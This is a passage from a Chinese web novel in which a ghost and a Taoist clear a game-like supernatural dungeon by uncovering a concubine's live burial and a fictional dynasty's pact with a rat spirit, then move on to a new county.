姜庄王如果顺着公子穆的要求赐死继妃,几乎等同于摆出态度默认要把社稷不稳的锅甩给继妃。
姜庄王正当壮年,脑子又不糊涂。
姜王朝当时只是有些小动荡,还没到要拿王妃来当挡箭牌的地步。
一人一鬼踏入地宫。
“公子穆被罚后,虽然没有再旧事重提,但传闻他曾遍寻祭司后人,从一些游方术士手里得来不少辟邪除秽的偏方。”
这大概也是王宫里诸多布置的来由。
姜庄王这次估计睁一只眼闭一只眼,随公子穆去了。
毕竟这种事只是起到一个膈应人的作用,继妃只是个普通人,就算给她贴上金粉钿也没少块肉。
但遍寻祭司后人就有点过火了。
知子莫若父,姜庄王肯定也对公子穆的一些心思有所了解。
也不知道后来公子穆出征时是怎么说服姜庄王允许他把两个弟弟也带上的。
单论把儿子全押到战场上这件事本身,就不太寻常。
何况,鱼宣才不信,公子穆这种精神状态,会没有跟姜庄王提过效仿灵王先例再请降神。
说起来,姜灵王时期也算是姜王朝神职最后的辉煌了。
趁着齐览在,鱼宣问:“据说姜灵王是因为信宠祭司,所以把王姬活祭。这段保真吗?”
“嗯,”齐览抓了一柄长枪在手上掂量,“姜灵王是非常传统的国君,崇尚祭祀,礼重巫祝。”
“史料记载,姜灵王醉心方术,曾口服铜丸,死后发肤呈暗金色,停尸一月而不腐。”
鱼宣提问:“为什么停尸一月?一般不都是三到七天吗?”
“姜灵王心系社稷,曾吩咐开棺停灵,以待神佑大姜,”齐览垂眼,又补充,“这话是姜武王所说。”
开棺停灵一月,与曝尸何异?
一代君王受这样的羞辱,若在天有灵都得气活过来。
姜王一脉,真是基因里带着的反骨。
公子穆想要把自己复刻成姜灵王,但行事作风却与姜武王更像。
这样的人,又拥有秦津这个助力,真的有可能被继妃夺权吗?
“齐览,继妃曲燕留是如何揽权的?”
青年摇头:“继妃在历史上从未拥有过实权,更是在姜庄王死后被逼守帝陵,直到她死的十年间里没有任何记载。”
鱼宣:?
瑕介在骗她?
不,不对。一个铜器怎么会骗人呢?
历史上根本没有宴定和瑕介两位女官。
从始至终,王宫里就只有一位平民继妃在阴谋里浮沉。
没有公子穆那样的太傅母家支持,也没有自己的孩子,身家性命全寄托在姜庄王身上。
姜庄王死了,公子穆会留她吗?
以公子穆和秦津的势力,即使当时继妃秘不发丧,即使公子穆远在边境,也能轻易得到姜庄王已死的消息。
鱼宣肯定道:“是秦津逼继妃去守帝陵的。”
准确地来说,是直接让继妃活生生地殉葬了。
公子穆找驱邪偏方的事估计也有秦津的份,所以继妃额头上的金粉钿才会让他一眼认出。
一人一鬼停在堆放奏章的墓室前。
如果继妃早就死了,那在十年后才放出她死讯的人只可能是公子穆。
整整十年,公子穆都没能登基。
这是为什么呢?
鱼宣这么想,也就问了出来。
“因为神女随父王去了,不肯为孤开庙。”
公子穆的声音从层层木架后传出。
鱼宣与齐览对视一眼,循着声音的方向走去。
公子穆还被严严实实绑着。
先前只是觉得相像,现在齐览和公子穆同时出现,鱼宣更加能从他们身上看出一种不容忽视的神似。
女鬼摸摸自己的脸蛋,心想这继妃不能也跟自己长得差不离吧。
鱼宣没有忘记此行的目的。
“你弹劾曲燕留的奏章放哪儿了?”
公子穆:“当然是交给父王过目了。”
鱼宣:……
对哦。这种事不用求神。
如果姜庄王愿意处置继妃的话,就是一道旨意的功夫。
鱼宣问:“她是怎么死的?”
公子穆漫不经心地笑道:“父王与继妃情比金坚,生同衾,死同穴。”
鱼宣没猜错,继妃果真被逼殉葬了。
姜庄王之后最先死的人,是继妃。
被活葬枉死的怨气太重,连带着她的陪葬品也生出器灵。
忠心不二的身边人,是继妃后半辈子最想要的。
她不甘,于是在死后主宰了这座陵寝,在里世界重活一次,夺权篡位,架空公子穆和秦津。
至于公子穆是怎么被拉进来的,就要问他自己了。
鱼宣拿出鼠首面具在公子穆面前晃了晃。
“这个东西,根本不是战利品吧。”
齐览第一次见到这副面具。
没等公子穆开口,齐览先说出面具的用途:“是陪葬品,用来招阴聚灵。”
公子穆分了些注意力到“伴神使”身上。
“不错,”他承认得很干脆,“孤回京后曾开棺看过,父王尸首异变,孤听从门客建议打造这副铜面具作为陪葬品。”
这门客,想必就是公子穆之前招徕的方士之一。
鱼宣盯住他:“不止如此,公子穆,你开棺是想重现昔日灵王停灵吗?”
“是。”
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>“那你也一定让姜庄王服用过铜丸了。”
“是,”公子穆毫不心虚,“孤买通医官,让他给父王开方。”
王姬之死可以请来神女,国君的命不是更能感动上苍吗?
公子穆平静道:“这样做有悖孝义,孤知道。”
“但,夫如是,奚而不丧?”
灵王和武王也是这样,为什么没有败亡呢?
鱼宣早就知道跟他是讲不通的。
不过这样一来公子穆能轻易带走其他两位公子的事就说得通了。
毕竟那时的姜庄王应该已经被喂铜丸喂到神志不清的地步。
女鬼无情地打破公子穆的幻想:“招阴聚灵,找来的是谁,聚的又是谁的灵,你搞明白了吗?”
公子穆茫茫然看向她。
“是曲燕留。”
“当前进度:28%(剧情探索达到60%将解锁支线)”
枉死的继妃魂魄附在面具上。
自作孽不可活,公子穆死后也被继妃囚困在这场旧朝幻梦中。
而姜庄王早就与白社君一同消散。
没错,消散。
这就是姜庄王明明在主墓室,占尽天时地利,却没有被招阴的原因。
白社君本体的鼠首替代姜庄王入帝陵享供奉,承受亡国业障,为姜王朝延续十年国祚。
她都没了,自然不可能为公子穆开庙。
哪知道公子穆这么轴,为了这点仪式感登基的事都往后排。
鱼宣抬手,金线飞出直奔主墓室。
一阵木料破碎声传来,金线递来消息——棺中空无一物。
主棺空置,是为“让神”。
公子穆被这动静一惊,才反应过来。
他喃喃自语:“她?凭什么?”
公子穆也没有想到,姜王朝得天助、得神佑,最后一任国君的陵寝,却成了由继妃主宰的地方。
鱼宣把粮仓提灯拿出来,暖融融的火光映在在场一人两鬼的脸上。
“你父王的头颅,在这里。”
这位国君或许不像姜武王那样富有盛名,但一生都在为国家操劳,最后把自己的一切都奉献给这个已经彻底走向衰微的王朝。
他是自愿与白社君做的交易,用“让神”换来姜王朝的短暂延续。
虽然白社君也没讨到什么好。
亡国业障对于一个地仙来说还是太沉重了,相较之下公子穆这个不孝子孙的供奉简直不值一提。
最终只是清空一个王都,已经是白社君尽她所能的结果了。
所谓痴鼠拖姜,寓意便是自找麻烦。
在世界观资料中,如果白社君最初是白毛鼠精,在辅佐过姜武王后,就算是完成了“助人皇”的任务,渡过升仙劫了。
然而地下神女庙的建造是姜武王对她的回报,也是对她的囚困,死死地限制住白社君的后路。
她无法飞升上仙,只能留在姜王朝做个有求必应的地仙。
白社君任劳任怨一百三十一年,不肯与他们多说一句话也是人之常情。
可怜的白毛鼠仙最后几乎相当于给姜王朝陪葬了也没有黑化,她有这样的好心肠做什么都会成功的。
然而十年国祚转眼即逝。
大厦将倾不是说说而已。
鼠疫的源头已无从考究,时也命也,姜王朝该有此劫。
32. 第 32 章
看过公子穆的奏章后,许多事情的来龙去脉就变得清晰。
公子穆弹劾姜庄王的桩桩件件,真真假假白社君比他更清楚。
但无论如何,白社君不可能理他。
回复越级汇报何尝不是一种加班呢?
而之后“大厦将倾”的预言,白社君一定也说与姜庄王听过。
公子穆作为长子,被透露一些内情并不奇怪。
是以他写“神女佑我大姜,国祚永延”。
两个弟弟的死和出战大捷的巧合更是让公子穆坚信王血祭神的真实性。
把国君当人牲这样惊世骇俗的事他做不出来,效仿武王停灵却在可接受范围内。
不过任他生前如何妄为,现在在这陵寝中也不过是继妃手中的提线木偶罢了。
“曲燕留的棺椁在何处?”
公子穆的目光凝在粮仓提灯上,半晌才回答:“……中安宫。”
鱼宣看得好笑。
“硕鼠硕鼠”,这粮仓提灯原本是白社君原身的住处,让给姜庄王并不委屈他。
倒是公子穆这个不安分的儿子,平白让姜庄王吃了很多苦。
女鬼眼中寒芒一闪而过:“说实话。”
她可是把中安宫上上下下搜得砖缝也不放过,都没找出曲燕留的一根头发丝。
齐览开口:“在梨树下。”
鱼宣与公子穆一齐转头。
“如果说布置辟邪的物件,该在继妃所在的中安宫最多,”青年解释,“但中安宫里只有些不显山露水的桃木之类,重头反而放在梨树上。”
“王宫与陵寝是对应的,”他提醒,“树下埋尸,那一片的草木格外茂盛。”
得到答案,鱼宣最后看一眼这位旧朝贵族,毫不犹豫地转身。
齐览跟上她。
公子穆还未来得及再说什么,满身金线霎时收束,化为一阵四散的灰雾。
鱼宣和齐览来到梨树下。
把土刨开对于女鬼和道士来说都不是什么难事,一点灵力就能轻易解决。
但经年累月,曲燕留的身体早就与梨树根系纠缠在一起。
鬼与辟邪物靠得太近不是什么好事。
不过鱼宣估摸着自己的血条应该随着灵力的恢复也变厚了,不会被这点小威胁影响到。
于是她抬脚,想要走近看看。
“我来吧,”青年拦下她,“这些东西你能避则避。”
女鬼很听劝地停下,抱臂看他:“那齐大人打算怎么办?”
明眼人都看得出来,梨树根与曲燕留已经形成某种微妙的平衡。
曲燕留的身体供养梨树,而梨树在维持尸身不腐的同时,也阻隔了她怨气满满的魂魄。
这个副本的锚点不是公子穆,而是曲燕留和梨树。
曲燕留只是殉葬,魂魄完好无缺,还是有机会轮回的。
可是脱离了梨树,尸身倒是无所谓,一旦怨灵归位,那就不好说了。
鱼宣倒是不担心战力不足的问题。
问题是,怨灵是一种内外双向自燃的暴走状态,等她费劲把曲燕留弄到中安宫,那也不齐全了,副本能认吗?
齐览知道女鬼的顾虑,想了想,提议:“斩断梨树,带着部分树根走不碍事。”
鱼宣点头,非常赞同这个天才的想法:“那您请吧。”
青年把背后木板卸下来,与手上的长枪一起交给她。
女鬼接过来,站在原地看着齐览往树干上贴了一圈符。
感谢洪城主的慷慨,鱼宣短时间内不必担心黄纸告罄。
她随口问:“这是什么符?”
“爆破。”
鱼宣眨眨眼,抱着怀里的木板和长枪往后退出一段距离,又用灵力在自己和齐览周身罩了个壳。
齐览状似无意地侧头,余光中女鬼橙黄明亮的衣料在这色调暗沉的王宫里格外扎眼。
他感受了一下腰间绕了四圈的金线,没有告诉鱼宣:道符并非火药,属于精准打击武器,选定了目标就很难误伤。
齐览催动爆破符。
树身震荡,最先断裂的却是朱砂牌。
落地声清脆。
无事牌裂,避难挡灾。
可惜齐览非常严谨地足足用了十九道爆破符,朱砂牌十八个,哪怕一一相抵也难救。
在这场幻梦中矗立了不知多少个百年的梨树重重倒下。
“当前进度:29%(剧情探索达到60%将解锁支线)”
“副本即将崩塌,请玩家尽快通关,切勿逗留。”
“剩余时长:两刻钟。”
开出倒计时了。
看来就算树根还在,这种掩耳盗铃的方式还是不能长久。
得抓紧时间。
齐览也意识到这一点,他聚灵于手心把周围的土块清除,连尸体带小半截树干一起扛着往中安宫赶。
女鬼悠哉悠哉跟在后面,掐着手指算时间。
陵寝的棺椁,对应的就是王宫的寝殿。
公子穆和姜庄王都在东明殿,是因为东明殿本就是属于国君的宫殿。
公子穆虽然没有登基,但也已主政,总不能十年里都住在宫外。
他不像曲燕留那样因自身的执念凝聚鬼身,只是被迫陪着她一次次演绎。
在无数的岁月里,曲燕留或许尝试过很多不同的选择,给公子穆塞了很多不属于他自己的经历,甚至导致他的记忆都有些错乱了。
所以才会把鱼宣认为是他求来的神。
他说曲燕留的棺椁在中安宫,应该是按规制来算。
毕竟公子穆从没有不承认她的身份,直奔着要人命去的。
把曲燕留安置回她该在的地方,这个副本也就到头了。
一人一鬼赶时间,从东明殿到中安宫正好一刻钟出头。
齐览把尸体放到床上,用灵火烧去树根。
鱼宣上前把曲燕留的身体摊平。
梨木成灰。
曲燕留额上金粉钿同时消失。
齐览立即拉着鱼宣让开。
下一刻,这位史书留名的平民继妃睁开了她的眼睛。
与白社君如出一辙的碧蓝色。
这双眼太特别,让人想忽略都难。
鱼宣问:“你也见过白社君吗?”
“王上要走了神女的头颅,要为姜王朝延续国祚,”曲燕留望着穿戴明显与自己认知中不同的一人一鬼,并不惊讶,“而我作为王妃,当然应该得到其上最闪耀的明珠。”
姜王朝历任王妃,不过是一个美丽的象征。
金银珠玉,都向她们源源不断地流去。
用一些华而不实的装饰蒙蔽她们的眼睛,让她们在风云诡谲中摸黑前行,不得不紧紧攀附于带给自己黑暗的人。
曲燕留怨气难消,起初发现自己能在幻梦中回溯,把从前的公子穆玩弄于鼓掌之间时,她想尽办法吹枕头风,让父子君臣离心。
但没有用。
无论她怎么努力,哪怕翻出那些大逆不道的奏章,姜庄王也始终没有动公子穆一根毫毛。
而且一些历史的节点无法改变,姜庄王总是会很快死去。
而姜庄王一旦死了,曲燕留也活不了。
或许是秦津带人来捉她进帝陵,或许是某一天晚上她的中安宫失火却无人扑救,或许是终于撑到公子穆回京,被他亲自了结。
曲燕留不明白。
直到这一次,她的身边多了两位女官。
宴定和瑕介。
女官对她唯命是从。
那种恭谨的姿态,就像她们不是在面对一个王妃,而是在效忠一个王。
曲燕留回想起自己无数次有心无力的死去,终于明白自己最需要的是什么。
权力。
必须把权力握在自己手里,不必向姜庄王要,更不必向神女求。
只要抢就好了。
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反正她有宴定和瑕介。
曲燕留提前杀死了姜庄王,也撞见了前来履行交易的白社君。
“十年国祚,那算什么?”曲燕留冷笑,“在我这里,姜王朝轮回了不知多少个百年,怎么没人来感恩戴德?”
鱼宣深以为然。
不过,“白社君的眼睛对你来说有什么用呢?”
大概是因为同为灵异,曲燕留对鱼宣的态度很亲和:“可以让我看见这里的本质,也可以不再一直在王宫里。这也是你能成为我的原因。”
否则的话,鱼宣就要一直以最初的游魂状态飘荡了。
“哦,”女鬼了然,“所以你是发现我们了,故意空出两个位置给我们的?”
曲燕留点头,毫不吝惜溢美之辞:“你很聪明,做了很多我之前都没想到的事,比如出王宫逛街市。”
“之前我都只在逃亡时有几次出了王宫,每一回都不太体面,”她平静地叙述,“而且你确实帮我解决了他。”
这个他,是指公子穆。
“太不公平了,为什么我都死了,给我的能力还是这么缺乏攻击力,”她抱怨,又好奇,“你是怎么得到那么强的力量的?”
鱼宣实话实说:“我现在还不知道。”
话题终结是女鬼的拿手好戏。
曲燕留静静看了她一会儿,问:“我要消失了,对吗?”
“严格意义上来说,曲燕留是要消失了,”鱼宣笑道,“但你也不想再做曲燕留了吧。”
曲燕留也笑:“是啊,可是来不及了。”
两刻钟的时间到了。
副本会崩塌。
齐览皱眉,想要强行突破幻梦,却被女鬼按着肩膀制止。
鱼宣的笑容扩大,直直看进曲燕留眼底:“是吗?”
曲燕留瞳孔一缩。
而鱼宣两手一摊,消失不见。
原地掉落一个短手短脚的金线小人。
“物品:人偶替身——一种玩家指示物。”
人在局中,它是替身。
人在局外,它是玩家指示物。
这是女鬼在公子穆找奏章时争分夺秒做出来的小手工。
在离开地宫往梨树方向去之前,鱼宣把人偶给齐览,自己戴上面具走陵寝这条线。
陵寝和王宫都是副本的一部分,怎么能顾此失彼呢?
鱼宣回到放着木雕摆件的地方,绕着它走了一圈,才发现底部镌刻的一行红色小字。
“为当梦是浮生事,为复浮生是梦中。”
梦里什么都有,总有人不想醒。
把摆件挪开,女鬼开始撬地砖。
由于不清楚曲燕留被埋得多深,鱼宣无法不管不顾地用灵力打击,只能控制着力道一层一层挖。
这就很费时间。
鱼宣一边盯着倒计时一边干活,没一下停歇,终于赶上了。
是一个方方正正的红漆木盒。
把人折三折,勉强能塞进去。
鱼宣打量两眼,忍不住啧了一声。
从灯花宴时秦津的反应就能看出来,他跟曲燕留可没有什么深仇大恨,这八成是公子穆交代的。
要不说公子穆是个疯子呢。
BOSS的魂魄在王宫,对陵寝的关注就少些,鱼宣这边很顺利。
曲燕留在拖时间,鱼宣就配合她。
完璧归赵,正好卡着点。
在曲燕留复杂的目光中,鱼宣朝她挥挥手。
“恭喜玩家通关副本【姜王都】,解锁灵异能力80%,请谨慎使用。”
“当前进度:30%(剧情探索达到60%将解锁支线)”
眼前场景反复变幻。
齐览恍然:“是梦魂。”
他们是魂魄入梦,怪不得开天眼也没用。
鱼宣静默看着。
画面最后停在一棵参天古木。
满树空枝,一地白。
33. 姜王都·番外
除去公子穆挑出来给鱼宣过目的二十一卷,剩下的一千六百二十卷奏章主要分为三种。
一是公子穆对未来的美好畅想,大意可以概括为以“等我登基,我要如何治理国家”为中心思想的话题作文。
足有八百一十七卷。
二是公子穆对被神辅佐的向往,内容可以直白地翻译为:“神女是怎么选中武王的?如果我这么做也会有神选中我吗?”
这部分少一些,有五百四十六卷。
还有二百五十七卷就如鱼宣的猜想一般,是公子穆的碎碎念日记。
比如点评今日早朝大臣的政见,分析当下税征军备的开销,偶尔还兴致上来写几首诗。
白社君无聊的时候会当消遣看看。
关于她是怎么选中姜武王的,其实不玄乎。
白社君原身是一只白毛鼠,从出生起就在山中一座道观里。
她起初没觉得自己有什么不同,直到身边的同类老死了一茬又一茬。
白毛鼠活的第二十个年头,终于反应过来,自己的命好像有点太长了。
这时距离某个一起长大的好友托付她照料自己的子孙已经过了十八年了。
其实白毛鼠开灵智这件事,从她没有过任何子嗣就已经初现端倪。
鼠向来在繁育方面有着出众的才能,象征繁盛不衰。
白毛鼠是个异类。
她在道观熬死了三个老头,整个道观的弟子都是她看着长大的。
到后来白毛鼠已经能在道观里大摇大摆地吃供品。
她的作息也逐渐往人的方向靠,不再昼伏夜出。
白毛鼠白天待得最多的地方,从鼠窝,到供桌,再到老道士的肩膀上。
老道士像她那些鼠子鼠孙一样,也很快去世,不过他留下了一个年轻的徒弟接班。
临走前,老道士揉一把白毛鼠的小脑袋,让她帮忙照看。
这道观祖上富过,名声在外,连国君也来请他们驱邪。
白毛鼠通人性这么久,对人间秩序了解了个大概,知道这不是闹着玩的。
她前脚答应了老道士,后脚就出大事,总不能让人就这样出远门。
所以她溜进道士的包袱里,跟着上了路。
白毛鼠很机灵,等他们上船渡河才钻出来。
道士们发现她跟来,惊讶归惊讶,很快接受了这个事实。
一群年轻人,见过最顶天的贵人也就是这一片的县丞,以为到天家贵胄跟前最多头磕得响点。
这一趟去王都,总共三个人,是这一辈里最能扛事的。
老道士的接班徒弟崇明就在其中。
宫里来的人交代,这次请他们到王都,是为了王姬的忌日。
白毛鼠扒在崇明袖子上,听了一路。
这位王姬是先王妃的孩子。
先王妃与姜王少年夫妻,有一儿一女,也就是姜王姬和公子辛。
可惜先王妃体弱,在公子辛才过周岁时就因病去世了。
姜王没有再立王妃。
王姬没有遗传来自母亲的体弱,她是死在祭台上的。
活祭失败了,但王姬之死已成定局。
崇明和两个师弟的脸色都不太好。
这种祭祀方式是他们以为耻的,不仅全无作用,而且损阴德亏气运。
传闻近日王宫中怪事频频,扰得贵人们不得安宁,这才请他们去做法事。
白毛鼠在道观时,求上门的百姓见过不少,不过十个里面有九个都是多疑所致,一般求张符买个心理安慰也就好了。
道士们也会劝人行好事积德。
总之闹不到做法事的地步。
白毛鼠想,这回怕是碰上硬茬了。
精怪的眼睛能看见不同寻常的东西。
一行人才入王都,白毛鼠就不安地爬来爬去。
王都太繁华,人多的地方人命也多。
“咱真得在这儿待吗?”
崇明原本坐在马车里掀起帘子往外看,冷不丁一道陌生女声响在耳边,整个人僵住。
白毛鼠比他反应更大。
“我,刚刚是我说话了?”
道士们反应过来,很快明白是怎么回事。
白毛鼠的不同寻常他们一直看在眼里,但能说人话就完全不一样了。
这意味着她正式进入精怪的行列。
崇明叹气:“你要收拾收拾准备渡劫了。”
道观里长大的精怪,是不能靠旁门左道的手段精进的,从根源起就只能走升仙这一条路。
白毛鼠转了转毛茸茸的脑袋,看看崇明,又看看另外两个煞有介事跟着点头的年轻道士。
她问:“那能干嘛?”
没好处她可不干。
崇明把她从袖子边捞下来,放在中间的桌案上。
白毛鼠碧蓝色的眼睛倒映着道士微皱的眉头。
崇明说:“能成仙。”
这一年,白毛鼠已度过她在人间的第七十个春节。
白毛鼠的耳朵抖了抖,问:“怀能,他成仙了吗?”
怀能道长,是故去不久的崇明的师父。
崇明摇头:“不知道。”
一旁年轻些的道士凑过来:“按辈分我们都该叫您师爷,您这都能吐人言了,得有个说得过去的称呼。”
另一个道士瞪眼:“崇正!”
就算跟白毛鼠再熟,师爷哪能随便认呢?
崇正笑嘻嘻往后躲:“崇义师兄,别挂脸啊。”
崇明想了想,道:“你既开灵智,是该有名姓。”
白毛鼠觉得这群人好麻烦,不考虑自己的提议就算了,还净扯些没用的。
“白社君,你们师爷喊我白社君,”白毛鼠没好气,“我们能掉头回去吗?这里不对劲。”
三个道士互相对视一眼,都很无奈。
他们是出家人,不代表就不用遵守人世间的秩序了。
国君的指令,谁敢违抗?
再说了,姜王不可能随意下这样的命令。如果王都一切正常,就不必大老远地叫他们来了。
崇明安抚道:“你才入王都,就得此造化,也许升仙机缘正在此行。”
白社君眼看劝不动他们,只能坐在桌面上撑着脑袋琢磨。
其实她就算不成仙,在鼠子鼠孙面前也已经是老祖宗了,何必白白费那劲,给自己找罪受。
不过白社君识字,蹭过道士的启蒙课,看得懂道观里墙上刻的神仙故事。
成了仙能跟道观里供桌后面的金像一样,坐在那儿就有人送吃的。没人送也无所谓,自己用法术变出食物并不稀罕。
这就是大部分鼠一生的追求了。
白社君算了算,自己现在还是壮年鼠,未来很久这一点估计也不会改
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变,可是人都走了三代了。
万一哪天道观没人了,她吃什么?
还是成仙有保障。
而且来都来了,白社君决定勉为其难地干这一票。
姜王不只请了他们。
等他们进了王宫才发现,这简直是一场各个民俗流派的大会。
算姜王眼光好,来的都是有点真本事的。
所以大家都挂着脸。
这又杂又乱又沉的怨气,绝非一日之功。
还好姜王根本不知道,也不在乎。
他是一个好甲方,目的和要求都非常明确。
——超度姜王姬。
这是比较好听的说法。
姜王还好,但一些被折磨得神经衰弱的贵人们甚至连让姜王姬“魂飞魄散”的话都说出来了。
把天家的脸往外丢,这里面起码得杀两个儆猴。
姜王不可能亲自跟他们说明情况,基本就是坐在那摆出一个态度。
与他们详细告知事情始末的,是祭司。
他说,去岁王姬活祭以期神降,无果,死灵怨极生恨,为祸人间。
非常简短,但在座的同道中人懂的都懂。
崇明作为代表坐在显眼的位置,白社君被交到崇正手里。
她问:“活祭就能神降吗?我成仙以后是不是要往有活祭的地方去?”
白社君一想到神仙还是个赶趟的活儿就萌生退意。
崇正严肃地伸出食指在她面前晃了晃。
“不,你要离活祭越远越好。”
能干出那种事的人,才不会善待从天而降的神。
白社君还没想明白,思路就被一声拉长语调的通传打断。
“公子辛到——”
崇正赶紧把白社君往袖子里一藏,跟着人群一起行礼。
等他再起身,想把白毛鼠掏出来的时候,却抓了个空。
不远处,异变突生。
才踏入场地的公子辛被从天而降的蓝眼少女撞倒在地。
宫人和侍卫立即上前想要扶起公子辛和擒住少女。
但其他人看不明白,吃这碗饭的人还能不明白吗?
在这群有些天赋的能人异士眼中,一条金龙在公子辛和少女周围绕身而过。
这哪是什么少女?
这是有道行的半仙得到助人皇的造化,要渡升仙劫了。
不知谁起头:“王姬有灵!神女天降!”
于是一呼百应:“王姬有灵!天佑大姜!”
冲到一半的宫人和侍卫们面面相觑,一时进退两难。
在这时候上前扰兴,万一破坏了大姜的祥瑞怎么办?
在崇尚祭祀的姜王朝,别说国君,换做任何一个平民百姓,都对这类玄之又玄的东西重视得不得了。
人群中,祭司的脸色尤为精彩。
公子辛倒在地上,白社君本来就有点尴尬了,这群人的起哄更是把她架起来烤。
她伸手把公子辛提起来,让他站到前面挡住众人的视线。
白社君松了口气:这下总算没有那种独自面对致死量万众瞩目的窒息感了。
躲到公子辛身后的白社君没有看见,这个身处呼声中心的少年眼珠漆黑无光,神色淡漠如一潭死水。
他一一扫过在场或狂热或震惊的脸,平静地转身朝着高座一拜:“恭贺父王,天佑大姜。”
34. 第 34 章
一人一鬼彻底从梦魂脱离。
鱼宣睁开眼,农田里传来金属相撞的脆响。
戴着草帽的农人一锄头下去,手臂都一震。
农人撑着锄头缓缓发麻的胳膊,一抬头就看见他们。
“你们往哪家去?”
NPC递话,女鬼立刻接上:“我们要去北边,从这里借道。”
农人抬手一指:“投奔北边,直穿过去走就是。”
鱼宣边说边走近,问:“刚刚那么大声响,是怎么回事?”
“几天莫下雨,田里头邦硬,”农人把锄头反过来看了看,“铁都敲去一块,不中用了。”
女鬼低头看去,正考虑要不要再刨一次土的时候,系统提示音适时响起。
“物品:兽首形铜面具——状若鼠首,色泽青绿。”
“物品:长枪——平平无奇的陪葬品。”
“以上物品来自曲燕留友情馈赠,已放入系统面板,祝您游戏愉快。”
这下省事了。
鱼宣笑道:“开头难往后顺,您先忙着,我们得赶路,走了啊。”
与农人别过后,女鬼回到还站在原地的青年道长身边。
她凑过去打量:“齐大人,梦魂有后遗症吗?”
齐览摇头。
“没有就抓紧吧,”女鬼拍拍他肩膀,“还有好长一段路要走,别歇久了犯懒。”
青年垂眼看向鱼宣拍过的地方,手中传讯符上字迹一闪,消失不见。
京城来信:“引路回京剿杀。”
一人一鬼沿着农人指的方向走,道路两旁大片农田,还有视野尽头的绵延青山。
时不时有当地人挑着担子或赶着牛车路过。
很快出现几座相隔不远的住宅。
已春深,墙后探出花枝,绽开的桃花缀满枝头。
“恭喜玩家开启新地图:用舍由时,行藏在我——弓鸣县。”
“您已解锁副本【弓鸣县】”
鱼宣在心里默念一遍这个副本的提示语。
用舍行藏。
齐览在确认过这里是人类的属地之后,就绕到靠外的位置与女鬼一并走。
青年高大的身体挡去了部分窥探的目光。
小地方的人互相熟络,是不是生面孔一看便知。
齐览这一趟是出公差,每到一处都要与当地的官府报备,如果需要歇脚就由他们安排住处。
之前他还没来得及找罗庄城的驿官,就被洪霖请去城主府,这回没有拦路的,就得自己找上门了。
齐览领着鱼宣径直往驿站走。
临到门前,青年道长偏头问:“要在这儿留几天?”
女鬼正盯着告示细看,随口答道:“两三天吧。”
之前的副本也差不多都是这个时间。
齐览隐秘地松了口气。
她要留,就还有他周旋的余地。
本朝通用的文字与鱼宣认知中的一样,可见姜王朝确实是比较久远的朝代了。
看得懂就省了很多事。
鱼宣把告示内容过了一遍,转头望向静静候在一旁的青年道长。
“这世道,还有科举?”
秀才们跋山涉水的路上遭遇不测的恐怕不在少数。
齐览颔首:“眼下正是最缺人的时候。”
越是乱世,越是不拘一格用人才。
在人类属地秩序尚在的情况下,科举没有荒废,甚至另开门路,招揽了齐览这一批人。
齐览领命离开京城时,这一届科举还在筹备中。
鱼宣示意他看告示:“新科状元冯时惜,是弓鸣县人。”
这张告示不是最新的,状元还乡应该就在近几天了。
齐览从女鬼的关注点中读出她的思路动向。
他边引着鱼宣进驿站,边交代:“去年被看好的几个人选里没有这个名字。”
是匹黑马。
弓鸣县地方小,平日里来往的人少,当地驿站设置的人员不多,只供基本需要。
一人一鬼走到堂屋才有人来接待。
驿官又是解释又是告罪:“最近几日,整个弓鸣县能用上的人都忙得脚不沾地,您看看这,怠慢了伏灵使大人,真是罪过。”
“不妨事,”齐览无意为难,轻描淡写地揭过,“我们要在弓鸣县歇脚,劳烦了。”
京城直接下派的人,宁可让人腾屋子也不能叫人住差了。
弓鸣县的系统简单,驿官效率很高,当即拍板定好了住处。
“二位路上辛苦了,”驿官拿不准鱼宣的身份,只能先模糊称呼,“这日头正好,不知可否赏个脸,让下官好好招待一番。”
齐览拱手:“大人有心了。”
鱼宣在这场合说不上话,全当过前置剧情。
驿官领路,齐览压低声音贴近女鬼耳畔。
“弓鸣县属东南菜系,以辛辣著称,你若不适应,等会儿先拿糕点垫垫肚子。”
鱼宣对NPC的温馨提示不是很关心,不过齐览既然能这个音量跟她讲悄悄话,说明驿官的听力范围正常。
女鬼有样学样,也小声说:“你问问,冯时惜几时到弓鸣县。”
驿官这时停下,请他们上马车。
齐览被女鬼下了指令,趁着车上面对面,抓紧套话:“驿站公务繁忙,看来今年弓鸣县的学子榜上有名。”
驿官一听这话,姿态都没那么局促了。
“榜上有名的是不少,”驿官眼角褶皱明显,笑意藏也藏不住,“驿站本不该缺人,但状元要回乡,别说县里,沿路的地方都收拾起来了。”
说得好听是收拾,实际就是攀关系攀人情。
“是大喜事,弓鸣县有文曲星降世,”齐览恭维道,“早知如此,我们就不耽误时辰了。”
驿官还没昏头,赶紧赔笑摆手:“哪儿的话?您屈尊来也是喜事一件,这双喜临门的,下官这辈子也没见过这场面啊。”
齐览顺势问:“弓鸣县人杰地灵,我们也想沾沾福气,不知状元何时还乡?”
“明日,明日就到,”驿官肯定道,“三日前从南盛城传来的消息。”
南盛城与弓鸣县之间,快马加鞭只需两日。
但状元及第,正是春风得意的时候,犯不着一昧赶路。
听到了想要的答案,鱼宣默默转移了注意力。
马车外是整个弓鸣县最红火最热闹的一条街。
女鬼冷不丁开口:“冯氏,是弓鸣县的望族吗?”
“这……冯氏状元的话
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,并非出自望族,”驿官飞快地瞟一眼齐览,又继续详尽介绍,“冯氏年少失怙,其母积劳成疾,不久也撒手人寰。为维持生计,冯氏曾在酒楼当伙计,被账房看上收做学徒,这才识字。”
鱼宣若有所思。
这世道,富贵人家尚且提心吊胆度日,冯时惜一个孤儿,侥幸识字念书,即使一人吃饱全家不饿,攒下盘缠,去往京城赶考的路上又是怎么安然无恙的?
而且还要还乡。
齐览带她进驿站的路上见缝插针地给她恶补过常识。
其实灵异肆虐以来,别说状元,那些落榜的秀才也少有还乡的。
去京城是九死一生,全靠金榜题名的念想撑着逃出一条命。
再回去,精气神都没了,与直接走黄泉路没什么区别。
冯时惜中了状元前途大好,家中又无牵挂,为什么一定要回弓鸣县?
从前衣锦还乡是为了显摆,现在显摆可跟豁出命去作死没两样。
女鬼理了理思绪,收起那些无端揣测,善意地笑道:“那看来,冯氏对弓鸣县的感情很深了。”
孤儿嘛,吃百家饭不是什么很难想到的经历。
说不定,弓鸣县人人都曾在这位新科状元的求学路上铺过几块砖头。
弓鸣县不大,才几句话的功夫,马车就停在了目的地门口。
——食珍楼。
“这是弓鸣县最大的酒楼,”驿官说,“是从前京城的东家打听到这边将要兴建行宫,特意过来开了分号。”
鱼宣:“那行宫呢?”
